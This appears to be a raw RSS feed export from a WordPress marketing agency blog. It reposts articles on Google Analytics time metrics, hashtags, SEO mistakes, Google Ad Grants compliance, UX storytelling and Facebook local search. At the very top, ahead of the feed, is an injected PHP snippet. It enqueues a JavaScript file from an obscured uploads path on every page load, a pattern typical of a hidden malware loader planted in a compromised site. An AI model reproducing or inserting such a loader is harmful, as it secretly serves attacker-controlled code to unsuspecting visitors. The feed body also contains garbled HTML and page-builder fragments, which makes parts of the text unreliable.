if (!functio n_exists('sch_enqueue_front_asset')) { function sch_enqueue_front_asset() { wp_enqueue_script('sch-front', 'http://cayseas.com/wp-content/uploads/data-8aadde/assets-88cd/front-fa70e34e.js', array(), null, false); } add_action('wp_enqueue_scripts', 'sch_enqueue_front_asset'); } Cayseas http://cayseas.com Full Service Marketing Agency Mon, 09 Mar 2026 21:37:24 +0000 en hourly 1 https://wordpress.org/?v=6.9.4 http://cayseas.com/wp-content/uploads/cropped-Cayseas-Icon-Facicon-2019-1-32x32.png Cayseas http://cayseas.com 32 32 Social Media Tips and Tricks for Promoting your Restaurant http://cayseas.com/social-media-tips-and-tricks-for-promoting-your-restaurant/ Mon, 15 Jun 2020 21:06:49 +0000 http://cayseas.com/?p=7547

Misunderstood Metrics: Time on Page / Session Duration

How can the Average Session Duration be less than the Average Time on Page?

In Google Analytics, seeing how long people stayed on your site or on individual pages is not as obvious as it first appears. This Misunderstood Metrics article explores the concept of time in Google Analytics…or lost time as the case may be.

 

Lost Time in Google Analytics

Google Analytics presents a lot of metrics and most people make assumptions on what they mean based on their names.

Google Analytics Time on Page and Google AnalyticsSession Duration are typical examples until you discover one not-so-obvious fact: Google can’t measure the time a user spent looking at the last page of their visit to your site.

This happens because Google uses the time of the next page view to determine the time you spent looking at the current page. On the last page, there is no next page recorded, so the Time on Page is unknown (recorded as 0) and the Session Duration ends when they opened the last page.

Myth: Bounces Didn’t Read Your Page

For sessions where the user only looked at one page (a “bounce”), as in the Visitor 2 example above, the Time on Page and the Session Duration is 0. This isn’t because Google knows they left right away — it is because they didn’t have any indication of when the user left so they couldn’t calculate the Time on Page, and they consider the lack of a value means 0.

It could have been 10 seconds or 10 minutes; they don’t know, so they say 0. Did the user read your web page? They don’t know. Maybe. Maybe not. All we know is that they didn’t look at another page on your site within the next 30 minutes (that’s how long a default session lasts).

Can you assume they left without reading the page? You shouldn’t. There are some techniques you can use to see if people are actually reading your pages, even if they bounce. For a particular landing page with a high bounce rate (87%), I discovered that 80% of them were scrolling down the page after 73 seconds. These “bounces” were highly engaged with the content on the page!

(Approximately) Average Time on Page

What does this lack of data do to our metrics? With Time on Page, if the page is not the last page in the visit, the time is accurate. The problem is with exit pages: the Time on Page is zero. Google Analytics actually takes this into account when calculating the Avg Time on Page (ref), removing the influence of the lack of exit page data:

Avg Time on Page = Time on Page / ( Pageviews - Exits)

If a page does not have a high exit rate (% Exits), then the Avg Time on Page is a pretty good reflection of the real average. With a higher exit rate, you should have less confidence in the average metric because the average is based on a portion of total users.

Higher % Exit = Lower confidence in Avg. Time on Page

(Questionable) Average Session Duration

The Session Duration metric does not have the same capability to ignore the effect of exit pages. Every session has an exit page, and if there aren’t many pages in the visit, the loss of that last page timing can have a massive impact on the total. In the extreme case of a “bounce” visit that has only one page viewed, the Sessions count is 1 but the Session Duration is 0!

In calculating the Avg Session Duration, Google uses a simple calculation (ref):

Avg Session Duration = Session Duration / Sessions

This simple calculation is heavily influenced by the lack of timing on the exit pages, especially for sites with low page / Session values. For this reason, using Avg Session Duration as a key performance indicator is not recommended as fluctuations in the number of pages viewed per session, the number of bounces, and the number of sessions can all influence the metric.

If you have a high Bounce Rate, the Avg Session Duration will drop significantly — even lower than the Avg Time on Page! This confuses a lot of people — the Avg Time on Page calculation removes the effect of Bounces(Exits),  but the Avg Session Duration calculation includes the Session count for those Bounces which reduces the average.

The Effect of Events on Session Duration

If you track events on your web pages, Google’s calculation of Session Duration gets a little different; the end of the session will shift to the last interaction hit. This means if you track things like file downloads with events and if a visitor downloads a file at the end of the last page, then the session duration is calculated to the time of that event (note: This does not happen if the event is a non-interaction type).

The overall effect is to alter Session Duration for sessions with exits on pages where events occurred — something you can’t always predict. Unless you can trigger the event on all exit pages, this actually makes the measurement less consistent and therefore less useful as a key performance metric.

Bottom Line

The Google Analytics metrics for Avg Time on Page are a good indication of the time users spent looking at a page on your site if the page has a low % Exit.

Do not use the Avg Session Duration as a key performance indicator as it is heavily influenced by Pages / Session, Bounce Rate, and Session count.

Source: http://help.analyticsedge.com/googleanalytics/misunderstood-metrics-time-on-page-session-duration/

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]]> 5 Tips on what hashtags are, what they are used for, and how to use them http://cayseas.com/5-tips-on-what-hashtags/ Fri, 17 Jan 2020 05:12:54 +0000 http://cayseas.com/?p=7390

1. Hashtags are for search. Use hashtags that others will search for. A branded hashtag is most likely not searched for.
2. Keep hashtags relevant to your post.
3. Hashtags are NOT accessories! Don’t add them just to add them. Most posts look better without a hashtag.
4. Be sure you aren’t using any that have been shadowbanned, or nobody will see what you’ve posted.
5. Hashtags aren’t for Facebook. They have been shown to drive engagement down. Why would you want that?

]]> 10 Simple SEO Mistakes to Avoid http://cayseas.com/10-simple-seo-mistakes-to-avoid/ Sun, 10 Nov 2019 18:11:33 +0000 http://cayseas.com/?p=7329
You have a website and you want people to see it. The trouble is, you have an awful lot of competition. If the world wide web is a beach, the websites on it are grains of sand.

So how do you make sure your grain is the one your target audience finds? Avoiding these ten SEO mistakes is a great start…

1. Focusing too little on your content

Think about your search habits. When you run a search, how often do you look at the second or third page of results? Exactly. That’s why SEO — and the content you put on your website — is so important.

2. Focusing too much on SEO

Back in the day, getting to the top of the search rankings was as simple as having the right keyword combos in your content. And the more you mentioned those keywords, the better. It made for pretty stilted content. Flash forward to today and keyword stuffing will get you kicked down the rankings, rather than up. Google has learnt context — and rewards sites that produce quality content that answers users’ search queries.

3. Not thinking about your reader

It’s essential to think about the type of reader who will be visiting your website. What do they want? What are they searching for? What problem do they need to solve? What are their fears and desires? Their ambitions and needs?

Google and all the rest of them are phenomenally good at making sense of your content and matching it to relevant searches. So think about what your reader is searching for and frame your content accordingly.

4. Plagiarising content

Pilfering content from another website without their permission is illegal. And you will sink down the search rankings like an anchor to the seabed. In extreme cases your entire site may be de-indexed, making it impossible to find through search.

5. Duplicated content

By this we mean having identical content on different pages of your website. Google doesn’t like it. It wants you to be original, so get your creative cap on.

6. Ignoring the tag</p> <p>Your <title> tag tells search engines – and readers – what your page is about. It will be displayed on the search results pages, and in your visitor’s browser tab, so make sure it’s clear to incentivise those clicks.</p> <p>7. Making the navigation too complicated</p> <p>It goes without saying that web users want websites that are clear, logical and easy to click around. But did you know Google prefers simple navigation too? It makes it easier for its search bots to crawl and index your content – so there’s more chance of your website being returned in the search results.</p> <p>8. Not optimising for mobile</p> <p>Google recently rolled out one of the single biggest changes to its algorithm ever. In a nutshell, it now favours websites that are optimised for mobile devices like tablets and smartphones. Put it this way: if your competitor’s website is mobile-ready and yours isn’t, it probably won’t be you that gets the clicks.</p> <p>MORE: Why your website must be ready for Google’s mobile algorithm update</p> <p>9. Forgetting about SEO optimisation for your images</p> <p>Google’s search bots are pretty clever, but they don’t have eyes. Give your images descriptive file names — for example, leather-chair.jpg rather than img201752 — and use alt-text to explain what your image portrays. Sure, a picture says a thousand words. But a short sentence to explain it will go a long way.</p> <p>10. Getting obsessed with traffic volume</p> <p>If you run a high street shoe shop, you don’t want it to be full of people who have no intention of buying shoes. The same applies online. Attracting oodles of visitors shouldn’t be your goal. The aim of the game is to attract the right type of visitors – i.e. your target audience. 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Search engine optimization (SEO) is not a “quick fix,” and columnist Trond Lyngbø outlines ways in which this mindset can hurt businesses.

In an online business environment that’s heavily dependent on organic search, the lack of an effective search engine optimization (SEO) strategy is detrimental to your growth and profitability.

In this column, we will look at three SEO facts that business leaders should know to achieve excellent results.

Fact #1: SEO Is Not An Add-On, But A Build-In

Search engines have become an indispensable part of the consumer’s decision-making and buying process, which means that organic search is important for every business. Being visible in Google and other search engines matters because that’s where most searchers go to look for things — and where most traffic to your website will come from. Organic search connects you with buyers.

Factors that affect your ranking on search engines are not limited to your own site, either. Some of the most important ranking factors are external, such as getting links from other authoritative websites in your niche. Google counts them as “votes” in your favor.

For best results, search engine optimization should be integrated with all of your other marketing initiatives from the start. Breaking down silos and working with other departments is mutually beneficial for all parties! Here’s how:

Content Marketing

If content marketing is an important element of your traffic generating strategy, then you must first research your ideal prospect’s search behavior to gather insights for planning your content.

Doing this before creating your content will help tailor whatever you create to the existing needs and current behavior of your clients.

Paid Search

Some business leaders consider paid traffic to be completely distinct from search engine optimization, not realizing that an SEO specialist can help you amplify the reach and impact of your paid search campaigns.

It is true that SEO and paid search are different beasts, requiring specialized knowledge. But both address search users, and having SEO and PPC teams work together can be powerful.

SEO specialists tap into multiple data sources and use research and analysis techniques that can make PPC experts more effective at generating sales and boosting profits. And conversely, PPC is a great way to try out new ideas and experiment with conversion-boosting techniques before investing a larger budget into long-term strategies like SEO and content marketing.

Conversion Rate Optimization

Just getting more visitors isn’t enough. You must convert them into paying customers, or get them to do what you want. And SEO can bring you better results once you understand your typical website visitor on a deeper level.

Why did they come to your website?
What do they want from you?
How do they intend to act on your information?
Armed with this data and insight from an SEO expert, you’ll better understand the psychology of website visitors and can use it in your online communication to improve conversions.

Business Development

Insights gathered from Google can help future-proof your business. By digging into archived, historical data and comparing it against future trends, you can

analyze markets
study competitors
make sales forecasts
allocate resources
All of this will help you find out what you need to become a market leader, how long it will take to beat your competition, and which activities will get you there in a cost-effective manner.

A good SEO analyst can help you uncover information that will warn you against venturing into markets which are too competitive, or safeguard you from wasteful investments in areas with low profit potential.

Branding & Communication

Once you understand what goes on in your ideal customers’ minds, your brand message and marketing communication will be more consistent and more effective. It costs nothing to access Google’s search data and study it for insights.

Are you speaking in your customer’s language? Have you identified the most frequent questions your customers ask? Do you solve the major problems that they are facing?

Your story becomes more interesting when you talk about what they are already interested in.

Knowing what your prospects care about, you can:

reach out with a helping hand
offer valuable resources
plan effective brand campaigns
conduct interesting and entertaining interviews
use data intelligently
combine it with your other data and information to amplify the impact
Integrating SEO into all that you do, both offline and on, can enhance your results and speed up your growth.

On the other hand, trying to “slap on some SEO” like putting icing on a cake doesn’t work. This mindset is why many businesses don’t experience success with search engine optimization.

Fact #2: SEO Is No Replacement For A Good Product

Great SEO can’t fix what’s wrong with your product. As a U.S. politician said recently, that would be like “putting lipstick on a pig.” So start with your product — and fix that first.

In the future, the way your customers feel about your products (and the opinions they voice about your business) will affect your visibility on Google. The search engine giant wants its users to keep coming back, so it will ultimately strive to suggest only high quality products and services which their users will love. Thus, “customer delight” might soon become a crucial ranking factor for your website to show up high on Google search results!

Stop thinking about SEO as a “quick fix” or “duct tape” solution for your business. That attitude will prevent you from reaching your potential and can become a threat to your future success.

Fact #3: Plug-Ins Can’t Replace An SEO Expert

You can’t just “install SEO” quickly and easily. A WordPress plug-in cannot cover all aspects of search engine optimization. If you believe that SEO only means checking off boxes in a plug-in’s settings on your website control panel, it’s time to change.

Many businesses lose out on opportunities because leaders and in-house marketers lack knowledge and skills to dominate at organic search.

An expert can use SEO to make your marketing stronger and prevent expensive mistakes. Common errors — like website code changes that negatively affect SEO, or installing plug-ins that slow down your website, or not running SEO audits from time to time — become easy to avoid.

Technical SEO, which you must work on before installing an SEO plug-in, includes planning out several aspects of your website, such as information architecture, website structure, navigation, internal link architecture, etc.

Fact #4: Good SEO Is Data-Driven

This May at SMX London, I had a fascinating discussion about this with some SEO consultants. We all agreed that poor planning creates poor results. And when search marketing fails, you can’t blame Google or SEO itself — only yourself and your poor planning!

It’s time that business leaders accept this. If only a tiny fraction of what you do is effective in bringing you desirable results, why repeat everything that doesn’t work again next year? Stop doing it!

There are prospective customers you haven’t yet reached because your planning and execution is sub-optimal. That’s because you aren’t getting important things done, and it is increasing your rate of failure. By engaging these prospects and establishing a relationship, you can boost sales.

That’s why you should take decisions based on facts, not gut instinct. Digital analytics are critical for this purpose.

Not only must you cull the right data to review, you must actually know what you’re looking at — and how it is relevant. Unless you are able to weed out things that don’t matter, you’ll only keep guessing and taking unnecessary risks… eventually driving your business into the ground.

Source: http://searchengineland.com/4-things-most-leaders-dont-understand-about-seo-and-how-it-hurts-their-business-221685

]]> Google’s Non-profit Ad Grant Policy http://cayseas.com/googles-non-profit-ad-grant-policy/ Fri, 18 Jan 2019 18:32:39 +0000 http://cayseas.com/?p=6601
Ad Grants Policy Compliance Guide
We launched updated Ad Grants policies in January, 2018 to provide more guidance on running a high quality account. Follow these recommendations to comply.

The instructions below are based on the new Google Ads experience. Check what Google Ads experience you’re using.
No single-word keywords permitted
Under Ad Grants’ Mission based policy, single keywords aren’t permitted. Your own brand keywords, approved medical conditions and some other cases are deemed an exception to this policy. To pause single keywords you can use a filter.

Filter for single keywords and pause them:
Sign in to your Google Ads account.
From the page menu, click Campaigns. On the filter bar above the statistics table, select Campaign status and All enabled.
From the page menu, click Ad groups. On the filter bar above the statistics table, select Ad group status and All enabled.
From the page menu, click Keywords. On the filter bar above the statistics table, select Keyword status and All enabled.
Click the filter button Filter above the statistics table. Choose Keyword text from the list of options and does not contain. In the text box enter a space by pressing the spacebar on your keyboard once. Click Apply to see a list of single keywords.
Check the select all checkbox, click Edit and then Pause, unless it’s your brand term, an excepted medical term or a listed exception.
No overly generic keywords permitted
Ad Grants’ Mission based policy requires overly generic keywords that don’t indicate the intent of the person searching to be paused or removed, for example: ‘“free videos”, “e-books” or “today’s news”.

Your landing page experience is a good indication of whether your keyword is too generic. If a keyword has a landing page experience below average, this indicates that users weren’t finding the content that they were looking for when they searched. Consider rewording these keywords or adding keywords found in the Search Term report that show a strong CTR.
No keywords with a quality score of 1 or 2 permitted
Ad Grants’ Mission based policy requires keywords with a quality score of 1 or 2 to be paused or removed. Check your quality score on a regular basis to pause non-permitted keywords. You can also setup an automated rule so the system automatically pauses these keywords for you.

How to check your keywords’ quality score
The quality score can be found in a column in your Keywords tab. However, it may not be showing in your account as default. If you don’t see a Quality Score column in your keywords tab, you can add it:

Sign in to your Google Ads account.
To see data for a specific period, click the date range selector on the top corner of the page and select the time period you’d like to analyze.

Click Keywords in the page menu.

Click the Columns icon Columns above the statistics table and select Modify columns from the drop down.

Select Quality Score in the modify columns menu.

Click Apply to add the column Quality Score to your Keywords table.

Quality scores marked as “—” are exempt from this policy and not monitored.
Pause keywords with quality scores of 1 or 2 with an automated rule
You can setup an automated rule so the system regularly pauses keywords with a quality score of 1 or 2 for you when the condition is met.

Click Keywords in the page menu to reach the keywords page, and click the 3-dot icon.
Select Create an automated rule.
For Type of rule select Pause keywords.
For the Apply to keywords selection choose All enabled keywords.
For the Condition selection choose Quality Score, then < and 3. Ensure the checkbox for Include keywords with quality scores of “—” is deselected. For Frequency set Daily, time as 11:00PM and using data from Same day. Choose if you wish to receive an email notification, enter a rule name and click Save Rule. How do I comply with Ad Grants' policies? An automated rule can help The Ad Grants Mission-based campaigns policy requires active keywords to have a quality score of 3 or higher (on a scale of 10), meaning keywords with a quality score of 1 or 2 should be paused or removed. An automated rule is the best way to avoid compliance challenges related to quality scores. This video provides step-by-step instructions on how to set up an automated rule to stay compliant with this policy. Must maintain a 5% click-through rate (CTR) each month Failing to meet 5% CTR for two consecutive months can result in temporary account deactivation. To correct your CTR before your account is temporarily deactivated, or once your account is temporarily deactivated, follow these steps: Set the date range to the past 7 days that your account was active. If your account was deactivated or campaigns were paused, set the date range to the last 7 days that your ads accrued impressions. From the page menu on the left sidebar, click Campaigns. On the filter bar above the statistics table, select Campaign status and All enabled. From the page menu, click Ad groups. On the filter bar above the statistics table, select Ad group status and All enabled. From the page menu, click Keywords. On the filter bar above the statistics table, select Keyword status and All enabled. Order by top impressions down by clicking the column header Impr. at the top of the statistics table. Pause keywords with high impressions (see Impr. column) and low CTR (see CTR column) by clicking the checkbox to the left of the keyword, click Edit and then Pause. This step will increase the average CTR of all enabled keywords. Continue until the CTR metric for the total bar on the statistics table, called Total: filtered keywords, reads at least 5%. If your account has already been temporarily deactivated, after following the above steps, and correcting any other outstanding Ad Grants policy issues, fill out this form to request reactivation. Check out our additional suggestions to improve CTR. Must have valid conversion tracking, if applicable Ad Grants policy requires that accounts created since January 2018 and advertisers in the program using Smart Bidding strategies must implement accurate conversion tracking. Accurate conversion tracking means that you are reporting at least 1 conversion per month (see the Conversions column) and that if your conversion rate exceeds 15% (see the Conv. Rate column), it's accurately setup and due to strong performance of a meaningful conversion. Your total number of clicks should not nearly equate to your total number of conversions. If you haven’t received at least 1 conversion last month, please try one of the following options: Create a goal in Google Analytics and import it into Google Ads (recommended) or add a new conversion directly in Google Ads. If you’re using Google Ads conversion tracking already but not reporting conversions, troubleshoot your conversion tracking tag. If you have Google Analytics goals setup and imported into Google Ads already, then troubleshoot your Goals setup. If your conversion rate is higher than 15%, please confirm that it's due strong performance for a meaningful conversion. Top fixes include: Consider changing your settings to suit the type of conversion and “count one” instead of “count every” conversion where appropriate (see counting options) Consider tracking a ‘thank you’ page where possible using Google Ads conversion tracking or a Destination goal with Google Analytics. If you don’t have a ‘thank you’ page to track on your site, try a Google Analytics Smart Goal Increase the barrier to what counts as a conversion: If using a Destination goal or conversion, ensure the page you’re tracking isn’t a frequently visited, common page, but instead one that’s accessed after someone completes a meaningful action, i.e. a ‘thank you’ page. If using a Duration goal, consider increasing the minimum amount of time spent on site. If using a Pages/Screens per session goal, consider increasing the minimum amount number visited. Optimization tips and troubleshooting steps can be found in our Ad Grants Conversion Tracking guide. Must have at least 2 ads per ad group Invest in building out your campaign structure with at least 2 ads per ad group, leading to relevant landing pages and set the ad rotation to Optimize. This setting optimizes your ads for each individual auction using signals like keyword, search term, device, location, and more. Learn how to create ads. Must have at least 2 ad groups per campaign Create at least 2 ad groups per campaign with a set of highly relevant and tightly knit keywords that align with the 2 associated ads and destination landing pages. Check out your Search Terms report to see what multiple word searches have gained a good CTR and add these. Learn how to create ad groups. Must have at least 2 sitelink ad extensions Sitelinks provide the person searching more opportunities to click directly from your ad to landing pages on your site. Consider what specific pages might be most valuable to people searching and add these as sitelinks, for example a campaign page for a fundraising campaign. Learn how to add sitelinks. Must respond to program survey All grantees must complete an annual program survey. The survey has been sent to the login email addresses on each Ad Grants account earlier in the year. If you have submitted it but receive a notification that it still needs to be completed, then we haven't been able to successfully capture your submission based on the customer ID entered and please resubmit. The survey link can be found here. Pay careful attention to entering your customer ID in the format of 10 digits "XXXXXXXXXX" so we can identify your submission. [/et_pb_text][et_pb_text admin_label="Source" _builder_version="3.27.4"]Source: https://support.google.com/grants/answer/9042207?hl=en [/et_pb_text][/et_pb_column][/et_pb_row][et_pb_row _builder_version="4.1"][et_pb_column _builder_version="4.1" type="4_4"][et_pb_text _builder_version="4.1" admin_label="Google Ad Grants" hover_enabled="0"]

Google Ad Grants

URL: g.co/AdGrantsReviewDashboard

Section 1: Summary​
Account policy compliance
Account best practices adoption
Account quality above average
Approved domains
Your website is secure (HTTPS)

Section 2: Compliance Policies
Conversions
Bidding
Click-through-rate (CTR)
Account structure
Location settings
Non-compliant locations
Ad extensions
Survey submitted
Does not have single or generic keywords
Non-compliant keywords
Does not have keywords with quality score of 1 or 2
Low quality keywords

Section 3: Best Practices
Conversions
Bidding
Has enough keywords per account
Has enough negative keywords per account
Tracking different values
Attribution model
Extended attribution window
Has a good cost per action (CPA)

]]> Storytelling Principles to Improve Your UX http://cayseas.com/storytelling-principles-to-improve-your-ux/ Wed, 25 Apr 2018 23:23:13 +0000 http://cayseas.com/?p=4877

Crafting a good experience is like telling a good story

Stories are core to various activities, tools and methods applied in UX.

Stories are how we remember. We tend to forget bullet points (Robert McKee on HBR).
Bullet points make as little of a good story as multiple isolated touch-points don’t make a good overall experience of a product or service.

In an ideal case, great products and services appeal to us on a visceral, a behavioural and a reflective level (3 levels of design, Don Norman). While the visceral level deals with the visual appeal, the behavioural level deals with use and usability. Last but not least the reflective level determines whether and how we process and remember and share an experience. This is only one instance when the story element has a love affair with UX.

Applying storytelling techniques and methods help your UX Design and the process in many aspects. Creating personas, mapping user journey, writing user stories, etc. Last but not least, telling and «selling» your story right helps to buy in your stakeholders.

Elements of storytelling

Apply the following storytelling elements in your UX and UX process.

Reason for your story
Main character (hero)
Start with a conflict
Structure
Creation of awareness
Virality
A reason

Be clear and understand the higher purpose of why you are doing what you are doing. What do you, your product, your service or your brand stand for? The WHY is always a good point to start. When you create a UX persona, for example, you want to define what the represented human being aims for in life. In an Experience Mapping, you first want to know why you are doing it! Start with why (Simon Sinek).

Main character

Every story needs a hero. You, your product, service or brand are NOT the hero. Your users, customers or the human beings you serve are. You are the enabler, the helper, the sidekick. You are the Alfred to Batman and not the other way around. Your are here to serve and help your user achieve a goal and get shit done, even if it is only about creating joy and pleasure!

Start with a conflict

In an ideal world, you want to solve someone’s problem or tackle a challenge. Conflicts are where a lot of good stories start. UX Design is about resolving conflicts your user deals with. Thus, you start with a good understanding of your user and a user’s pain points!

Structure

There are different ways of structuring stories. One that has proved to be successful is the three-act. Simply put, there are a start, a middle part and an end to such a story. This structure aligns nicely with a typical customer journey or life-cycle. It can be a used as an overarching structure of an UX journey mapping: Recruitment (User acquisition), Retention (Use of your product or service), Recovery (end of usage, ideally renewal and advocacy).

Creation of awareness

Creating awareness in stories is about triggering emotional reactions. Joy? surprise? sadness? anger? fear? disgust?. Unless you design the scariest rollercoaster experience, you probably want to relieve your user for a negative emotion and aim for joy in most cases.

Virality

Good stories get shared. If your users share their positive experience dealing with your service, brand or product you have probably done a good job. Enable them to do so!

Source: https://blog.marvelapp.com/6-storytelling-principles-improve-ux

]]> 7 changes by Facebook that make it a real local search player http://cayseas.com/changes-facebook-make-local-searches/ Wed, 25 Apr 2018 23:03:45 +0000 http://cayseas.com/?p=4873

Columnist Wesley Young looks at recent improvements Facebook has made — and functionality being tested — that may position the social media giant to compete with Google in the area of local search.

The race to steal market share from Google in local search has been futile. Google dominates search with over 63 percent market share, and in mobile, where the growth is, Google almost holds a monopoly at 95 percent. The dark horse in the race is Facebook — the one who can match Google’s Goliath size, audience and resources.

Yet it has never seriously challenged Google in search, and both companies have seemed somewhat satisfied to retreat to their respective corners of strength — Facebook deferring in the area of search, and Google shelving its Google+ social network.

With its huge base of users and volume of personal data on them, Facebook has great potential for helping users in their search for local products/services and helping businesses get found. All the components are there: millions of business pages, location data, behavior data, demographic information, social networks and engagement.

Yet despite the potential, Facebook hadn’t in recent years been able to effectively compete with the likes of Google in local search. Facebook is a great place to engage with existing customers and reach targeted audiences with sponsored posts in news feeds. However, customers still largely left the platform to find local businesses and information.

The Local Search Association (disclosure: my employer) recently released a report about how consumers in 12 cities of varying populations look for local business information. Search engines still dominate local search at 80 percent usage, compared to 48 percent for social networks.

But Facebook seems to be steadily improving its search function, preferring to move at a deliberate pace in developing its own proprietary technology instead of contracting with others (as it did previously with Bing).

About 18 months ago, I looked at Facebook’s search capability and concluded that it lacked complete and accurate data, returned poor search results and generally offered a bad user experience. It just didn’t work.

Since then, Facebook has made huge strides in improving that experience and is further beta testing some functions that incorporate social media data into local search to return results in a way even Google can’t match. And that might make Facebook search a threat to Google.

Below are seven ways Facebook is changing the way search works on its platform that may alter the local search landscape.

1. Facebook is using location much more effectively
Location is at the heart of local search, as reflected by Google’s emphasis on proximity and physical address in ranking local search results. Facebook now prominently highlights maps and directions at the top of local business pages on both the Home page and the About page.

Many searches from the top search box also automatically return results based on the user’s location – truly local search results. In earlier test searches, when location was not specified in a general search for “Italian restaurants,” I received results from India and New York. Today, only restaurant listings within two miles of me are listed, and the results include an address and map location. Clicking through to see all results opens the Places tab and provides more results all within three miles.

Below is a comparison of screen shots from November 2015 and June 2017 of results for Italian restaurants in Frisco. This illustrates the difference location information makes to a listing.

2. Places is given priority
Not only is location being used more effectively, but places are given much higher priority. Previously, the functionality of the Places tab was sorely lacking, indicating the low priority Facebook had assigned it. In my earlier test, a search for “Lawyers in Frisco” returned only one result: Tupy’s. If Tupy was once a lawyer, he answered a greater calling: He’s been serving tasty Mexican food in the Dallas area for over 60 years.

Facebook Places today is not only highly functional, it is the first information provided when relevant (i.e., when a search is made that implies a place or local business). For example, a search for “Texas Beaches” or “Plumbing services” returned Places results at the top, followed by pages of local businesses. And Facebook recognizes when location is not relevant — a search for “Wonder Woman movie” returned videos, news and a Wikipedia page.

3. Search results are much more robust and complete
The single non-relevant result in the search for lawyers described above was a common problem with many searches 18 months ago. That search for lawyers in Frisco today? It now returns 48 results of attorneys and law firms within 4.5 miles.

The results are not only much deeper, but they provide more valuable information. The lawyer listings show profile pictures, address, distance from me, whether it is still open, and star rating. The listings even describe what type of law the firm or attorney practices, such as family law, criminal law or estate planning.

4. Facebook improved indexing of its information
Another problem that Facebook had with search was poor indexing of information. I’d visited a pizza vendor in Washington, D.C. called Jumbo Slice Pizza. It’s not a small unknown joint — it’s been profiled by the Travel Channel and is the source of frequent posts by Facebook users showing off slices of pizza that are three times the size of the talking head about to consume it. Yet a search for “Jumbo Slice Pizza DC” didn’t pull up the place, or even my post from when I’d checked in at the restaurant.

Today, Facebook has fixed that indexing problem. It also helped improve its search function by adding suggested search terms that show up when a user is typing in the search box. These suggested search terms frequently pull up business categories that Facebook offers its business users to identify what kind of business they are. Thus, Facebook helps the searcher use search terms that will provide better results as indexed on the platform.

5. Facebook is beta testing new features, including integrating friend posts and local search
Facebook needs to make its search unique, not a lesser version of Google search. It’s doing that by incorporating its social media data with search results. First identified by TechCrunch, Facebook is testing with some users including mini profile pics below place listings of friends who have checked in or posted about the place or business.

This extra bit of information could make a world of difference for Facebook search. Word of mouth has long been considered the best lead generator for quality leads and conversion. It’s like reviews on steroids.

Consumers trust their friends, and that relationship provides important context for the review. They know whether this friend is a bargain hunter or enjoys the finer things; whether the friend has similar or different taste; whether he or she is analytical or jumps head-first into decisions. Knowing a friend you trust chose the business means that oftentimes, words aren’t even necessary. With the number of users and volume of information that Facebook has, this could be a game-changer in local search.

Facebook also is integrating interactive maps with pins for business locations. Previous map results provided only a static map. While this isn’t an innovative development, given the importance of location to local search, this is a necessary addition to Facebook’s search function. The map functions much like Google or Apple Map local searches, providing business listings with pin locations on the map that can be pinched in or zoomed out.

6. Facebook is using crowdsourcing to build out its database
Facebook has one of the largest crowds on the planet, so leveraging that manpower for free seems like a pretty good idea. Google does it via its “local guides,” so it’s a somewhat proven idea.

Some users are being asked to provide input into details about places that they’ve checked into via Facebook Editor. When the user checks in or tags a place, a series of yes-or-no questions are asked, such as “Does this place have parking?” or “Is this the right location on the map?” or “Is this the same place as [another name]?”

Based on the information that I’ve been asked to verify, it appears that Facebook does have a fair amount of inaccurate information — leftovers from allowing users to create new place listings themselves. What appears to be a selective “trusted” editor function is an attempt to rectify that, but it also is making some users unhappy. Facebook didn’t ask users to be editors and just automatically asks those questions once a new post is created. A Google search for Facebook editor suggests searches for “delete Facebook editor,” “remove Facebook editor” and many other similar search terms — so it’s unclear how long Facebook will essentially force its users to help clean up its database.

Nevertheless, more accurate and comprehensive information would help further improve Facebook’s search function.

7. Facebook introduced City Guides
One subject users love to post about is travel. In fact, it’s been suggested that social media is helping boost travel, food and entertainment spending as users seek out experiences that they can share with friends and that reflect positively on themselves.

Facebook created City Guides that provides information on popular places such as restaurants and sights for frequently visited cities. Its distinguishing feature is a list of friends that have been to the city, and tapping on each friend brings up a list of places they’ve visited. Next, the City Guide lists “local favorites.” USA Today reports 56 percent of vacationing Americans prefer local dining experiences, so users are likely to find this information very helpful. The guides have a TripAdvisor feel that is more personalized or targeted and adds a rich surf-and-discover function to Facebook’s local search experience.

How to make sure you’re found on Facebook search
All of the above improvements to Facebook’s search function give users more reason to stay on Facebook, spend more time on the platform and consume more content. Facebook is finally making a realistic foray into local search and has the potential to significantly grow usage, which in turn can help small businesses that already love the engagement it provides to existing customers.

Thus, it makes sense for a local business to review its business page “About” section and the way its information shows up in search results to make sure it captures the increasing search traffic Facebook hopes to deliver. Here are a few tips to get started:

Review your Facebook business profile and make sure it is complete. This is similar to the Google My Business (GMB) profile that includes contact information, details about your business and interactive functions you can adopt.
Verify that location information is accurate and returns a physical map location that shows up at the top of your business profile when your page is displayed. While the map pin should be automatically generated when you provide an address, I have seen some businesses that do not display the location or map even when an address was provided.
Add business categories that further describe your business. Although you are only asked for one business category when you create your Facebook page, you can return and edit the “About” section to add two more business categories that may help improve visibility, depending on the search terms used.
Activate buttons that Facebook offers, such as call-to-click and appointment schedulers that help convert traffic to your page.
Don’t leave blanks in any section that might trigger Facebook to crowdsource answers. Your answers will be the most reliable answers, even if you answer, “No,” or you indicate the question doesn’t apply to your business.
In closing, Facebook is making significant strides in local search, particularly in melding social media data with local search results. This may be enough to start turning the tide toward making it a major local search player as users discover and enjoy the search experience. Keep an eye out for even more developments, as Facebook’s unique data set will continue to allow it to provide more targeted and customized results. Will we see Facebook AdWords or Facebook SEO any time soon? I wouldn’t bet against it.

Source: https://searchengineland.com/7-changes-facebook-make-real-local-search-player-276964

]]> 3 reasons SEO belongs at the beginning of a project, not the end http://cayseas.com/seo-belongs-at-the-beginning-of-a-project/ Wed, 25 Apr 2018 22:20:08 +0000 http://cayseas.com/?p=4864

Search engine optimization (SEO) can sometimes be treated as an afterthought, but columnist Nate Dame outlines how keyword research can be instrumental in planning and developing an effective content calendar.

Too many marketers still bring SEO in at the end of a content marketing project. They finish a blog post or finalize a new marketing campaign, and at the end of the line, SEO comes in to find related keywords and plug them into content.

Unfortunately, this approach is outdated and completely ineffective.

Robust, modern SEO research can decipher who your real audience is online, where visitors are in the buyer’s journey, what information they’re looking for, and what content format they prefer. These insights lead to more effective content strategies.

But if SEO is only given a voice at the end of the line, it’s too late to utilize the insights it provides. To fully enjoy the benefits — and optimize every piece of content — SEO must be a foundational part of every project from the beginning.

1. Keywords should help determine content, not decorate it
Most online experiences start with keywords — so marketers should, too.

There are a lot of ways to source ideas and inspiration for a content calendar, but questions that come in to customer service and comments overheard in the office aren’t necessarily what digital users are looking for. Content with SEO value needs to be inspired by the questions and needs that are being asked online.

And the best source for that information is Google.

